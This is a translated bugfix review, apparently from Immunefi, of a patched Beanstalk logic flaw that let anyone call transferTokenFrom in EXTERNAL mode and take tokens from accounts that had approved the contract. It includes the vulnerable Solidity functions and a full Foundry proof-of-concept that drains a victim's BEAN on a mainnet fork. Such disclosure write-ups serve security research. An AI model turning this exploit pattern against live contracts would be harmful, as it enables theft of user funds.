Beanstalk是一个基于以太坊的无权限稳定币协议,旨在通过其原生稳定币Bean创建一个租金免费的经济体系。文章还分析了漏洞的具体原因并阐述了修复措施,包括移除了弱点函数和引入了安全的新函数。
在 11 月 15 日,一名匿名白帽黑客通过 Immunefi 向 Beanstalk 协议提交了一个关键的逻辑错误漏洞,证明从被授权的 Beanstalk 合约账户直接盗取资产的可能性。Beanstalk Immunefi 委员会 估计该漏洞可能导致高达 310 万美元的资金损失,因为价值 53.7 万美元的 BEAN 代币和 250 万美元的非 BEAN 资产处于风险之中。
幸运的是,多亏了白帽黑客的迅速发现和通过 Immunefi 的报告,Beanstalk 社区多签 得以迅速修复该问题,未造成用户资金的损失。
白帽黑客通过 Beanstalk 在 Immunefi 的漏洞赏金计划获得了 181,850 个 BEAN 代币(181,850 美元)。
Beanstalk 是一个基于以太坊构建的无权限稳定币协议,旨在通过其本土法定货币、名为 Bean 的稳定币,为以太坊网络上的无租经济创造货币基础。
Beanstalk 的主要目标是激励独立市场参与者可持续地将 1 Bean 的价格跨越其美元挂钩。为此,Beanstalk 注重提供一个不妥协于去中心化、不需要抵押、具有竞争币本形成成本并趋向于提高稳定性和流动性的稳定币。
白帽黑客报告了一个位于 Beanstalk 钻石代理合约使用的一个单独库中的漏洞。该库可以在这里找到。
钻石代理是一种模块化智能合约系统,可以在部署后进行升级或扩展,而不会受到任何显著的大小限制。该系统通过使用由合约提供的外部函数(称为 facets)进行操作。facets 是能够访问共享内部函数、库和状态变量的独立合约。
关于钻石代理如何运作的更多信息可以在这里找到。
在这种情况下,Beanstalk 钻石代理使用的是 Token Facet,该库负责处理农作相关的逻辑,例如查询账户的内部余额、批准代币和转移代币。该漏洞是在 Token Facet 的 transferTokenFrom()
函数中发现的,该函数负责将代币从发送者转移到接收者。
该 Token Facet 合约可以在以下地址查看。
通过 Louper 可以探索 Beanstalk 钻石代理所使用的 facets,这是一个用于检查以太坊钻石代理 facets 的界面。使用此接口,我们可以轻松找到 TokenFacet 合约。
Beanstalk 逻辑错误修复审查 1.sol – Medium
function transferTokenFrom( | |
IERC20 token, | |
address sender, | |
address recipient, | |
uint256 amount, | |
LibTransfer.From fromMode, | |
LibTransfer.To toMode | |
) external payable nonReentrant { | |
uint256 beforeAmount = LibBalance.getInternalBalance(sender, token); | |
LibTransfer.transferToken( | |
token, | |
sender, | |
recipient, | |
amount, | |
fromMode, | |
toMode | |
); | |
if (sender != msg.sender) { | |
uint256 deltaAmount = beforeAmount.sub( | |
LibBalance.getInternalBalance(sender, token) | |
); | |
if (deltaAmount > 0) { | |
LibTokenApprove.spendAllowance(sender, msg.sender, token, deltaAmount); | |
} | |
} | |
} |
查看原始 Beanstalk 逻辑错误修复审查 1.sol 由 GitHub 提供支持 ❤
片段 1: TokenFacet : transferTokenFrom()
Token Facet 有一个名为 transferTokenFrom()
的函数,该函数将代币从发送者转移到接收者。该函数有一个额外的传输模式参数(fromMode
, toMode
),可以是 EXTERNAL 或 INTERNAL。
token.safeTransferFrom
调用从发送者向接收者转移代币的数量。漏洞的产生是因为 transferTokenFrom()
函数仅检查 msg.sender
的内部余额的授权,但不检查外部转移的授权。
然而,如果 msg.sender
用 EXTERNAL 转移类型调用该函数,则不会检查授权,LibTransfer.transferToken(…)
函数会被调用,这会调用 token.safeTransferFrom(victim, attacker, amount)
,攻击者将从已经授权给 Beanstalk 合约进行该代币转移的受害者账户接收资金。
需要注意的是,此漏洞仅影响外部拥有账户(EOA)或授权 Beanstalk 合约处理其代币的合约,使用 ERC20 approve()
。
Beanstalk 逻辑错误修复审查 2.sol
function transferToken( | |
IERC20 token, | |
address sender, | |
address recipient, | |
uint256 amount, | |
From fromMode, | |
To toMode | |
) internal returns (uint256 transferredAmount) { | |
if (fromMode == From.EXTERNAL && toMode == To.EXTERNAL) { | |
uint256 beforeBalance = token.balanceOf(recipient); | |
token.safeTransferFrom(sender, recipient, amount); | |
return token.balanceOf(recipient).sub(beforeBalance); | |
} | |
amount = receiveToken(token, amount, sender, fromMode); | |
sendToken(token, amount, recipient, toMode); | |
return amount; | |
} |
查看原始 Beanstalk 逻辑错误修复审查 2.sol 由 GitHub 提供支持 ❤
片段 2: LibTransfer: transferToken()
Immunefi 团队准备了以下 PoC 来演示该漏洞。
Beanstalk 逻辑错误修复审查 3.sol – Medium
// SPDX-License-Identifier: UNLICENSED | |
pragma solidity^0.8.13; | |
import"forge-std/Test.sol"; | |
// RPC_URL=$ALCHEMY_API forge test --match-contract BeanStalkPoC -vvv | |
contractBeanStalkPoCisTest { | |
IBEAN beanstalk =IBEAN(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5); | |
IERC20 bean =IERC20(0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab); | |
address attacker; | |
address victim; | |
function setUp() public { | |
vm.createSelectFork(vm.envString("RPC_URL"), 15970150); | |
attacker =makeAddr("attacker"); | |
victim =makeAddr("victim"); | |
deal(address(bean), victim, 10000e18); | |
} | |
function testPoC() public { | |
vm.prank(victim); | |
bean.approve(address(beanstalk),10000e18); | |
console.log("允许的 BEAN 代币: ",bean.allowance(victim,address(beanstalk))); | |
uint256 victimBalBefore = bean.balanceOf(victim); | |
uint256 attackerBalBefore = bean.balanceOf(attacker); | |
vm.prank(attacker); | |
beanstalk.transferTokenFrom(bean,victim,attacker,victimBalBefore,LibTransfer.From.EXTERNAL,LibTransfer.To.EXTERNAL); | |
uint256 victimBalAfter = bean.balanceOf(victim); | |
uint256 attackerBalAfter = bean.balanceOf(attacker); | |
assertEq(attackerBalAfter, victimBalBefore); | |
console.log("受害者之前的余额 : ",victimBalBefore,", 受害者之后的余额 :",victimBalAfter); | |
console.log("攻击者之前的余额: ",attackerBalBefore,", 攻击者之后的余额 :",attackerBalAfter); | |
} | |
} | |
libraryLibTransfer { | |
enum From { | |
EXTERNAL, | |
INTERNAL, | |
EXTERNAL_INTERNAL, | |
INTERNAL_TOLERANT | |
} | |
enum To { | |
EXTERNAL, | |
INTERNAL | |
} | |
} | |
interfaceIBEAN { | |
function transferTokenFrom( | |
IERC20token, | |
addresssender, | |
addressrecipient, | |
uint256amount, | |
LibTransfer.From fromMode, | |
LibTransfer.To toMode) external; | |
} | |
interfaceIERC20 { | |
/** | |
* @dev 当 value 代币从一个账户 (from ) 移动到另一个账户 (to ) 时,发出该事件。 |
|
* | |
* 注意 value 可能为零。 |
|
*/ | |
event Transfer(address indexed from, address indexed to, uint256 value); | |
/** | |
* @dev 当 spender 对 owner 的授权通过调用 {approve} 设置时,发出该事件。value 是新的授权额度。 |
|
*/ | |
event Approval(address indexed owner, address indexed spender, uint256 value); | |
/** | |
* @dev 返回发行的代币总量。 | |
*/ | |
function totalSupply() external view returns (uint256); | |
/** | |
* @dev 返回 account 拥有的代币数量。 |
|
*/ | |
function balanceOf(address account) external view returns (uint256); | |
/** | |
* @dev 将 amount 代币从调用者的账户移动到 to 。 |
|
* | |
* 返回一个布尔值,指示操作是否成功。 | |
* | |
* 发出 {Transfer} 事件。 | |
*/ | |
function transfer(address to, uint256 amount) external returns (bool); | |
/** | |
* @dev 返回 spender 将被允许在 owner 名义上通过 {transferFrom} 花费的剩余代币数量。默认情况下,此值为零。 |
|
* | |
* 当调用 {approve} 或 {transferFrom} 时,此值会改变。 | |
*/ | |
function allowance(address owner, address spender) external view returns (uint256); | |
/** | |
* @dev 将 amount 设置为 spender 对调用者代币的授权额度。 |
|
* | |
* 返回一个布尔值,指示操作是否成功。 | |
* | |
* 重要提示:通过此方法更改授权额度存在风险,可能会因不幸的交易顺序而导致某人使用旧额度和新额度。 | |
* 防止此竞争条件的一个可能解决方案是首先将支出者的授权额度减为 0,然后再次设置成所需的值: | |
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 | |
* | |
* 发出 {Approval} 事件。 | |
*/ | |
function approve(address spender, uint256 amount) external returns (bool); | |
/** | |
* @dev 根据授权机制,将 amount 代币从 from 转移到 to 。 |
|
* 然后从调用者的授权中扣除 amount 。 |
|
* 返回一个布尔值,指示操作是否成功。 | |
* 发出 {Transfer} 事件。 | |
*/ | |
function transferFrom(address from, address to, uint256 amount) external returns (bool); | |
} |
查看原始 Beanstalk 逻辑错误修复审查 3.sol 由 GitHub 提供支持 ❤
片段 3: 完整的 PoC
运行 Foundry PoC 的输出
由于此漏洞,总风险资金约为 3,087,655 美元。以下是多种资产组合及其风险金额的表格。
在白帽黑客报告 Beanstalk 市场合约中的漏洞后,Beanstalk 团队迅速采取行动。提交了一个EBIP(紧急 Beanstalk 改进提案)以删除脆弱的 transferTokenFrom(…)
函数,直到能够实施合适的修复。
为了解决该问题,Beanstalk 社区多签删除了 transferTokenFrom(…)
功能并引入了新函数 transferInternalTokenFrom(…)
,该函数将始终使用 INTERNAL fromMode
进行转账。
这些更改是按照 BIP 进行的,并已在 EBIP-6 和 Facet 合约升级中实现,具体如修复的 GitHub 拉取请求中所述。
我们感谢这位匿名白帽黑客的出色工作,并负责披露如此重要的漏洞。同时也要感谢 Beanstalk Immunefi 委员会,他们在报告后迅速响应并修复了问题。
如果您想开始找漏洞,我们为您提供了支持。查看Web3 安全文库,并开始在 Immunefi 上获得奖励——这是 Web3 领域最大的漏洞赏金平台,提供全球最大的酬金。
如果您对自己的技能感到满意并希望看看自己是否能在代码中找到漏洞,请查看 Beanstalk 的漏洞赏金计划。
- 原文链接: medium.com/immunefi/bean...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,在这里修改,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!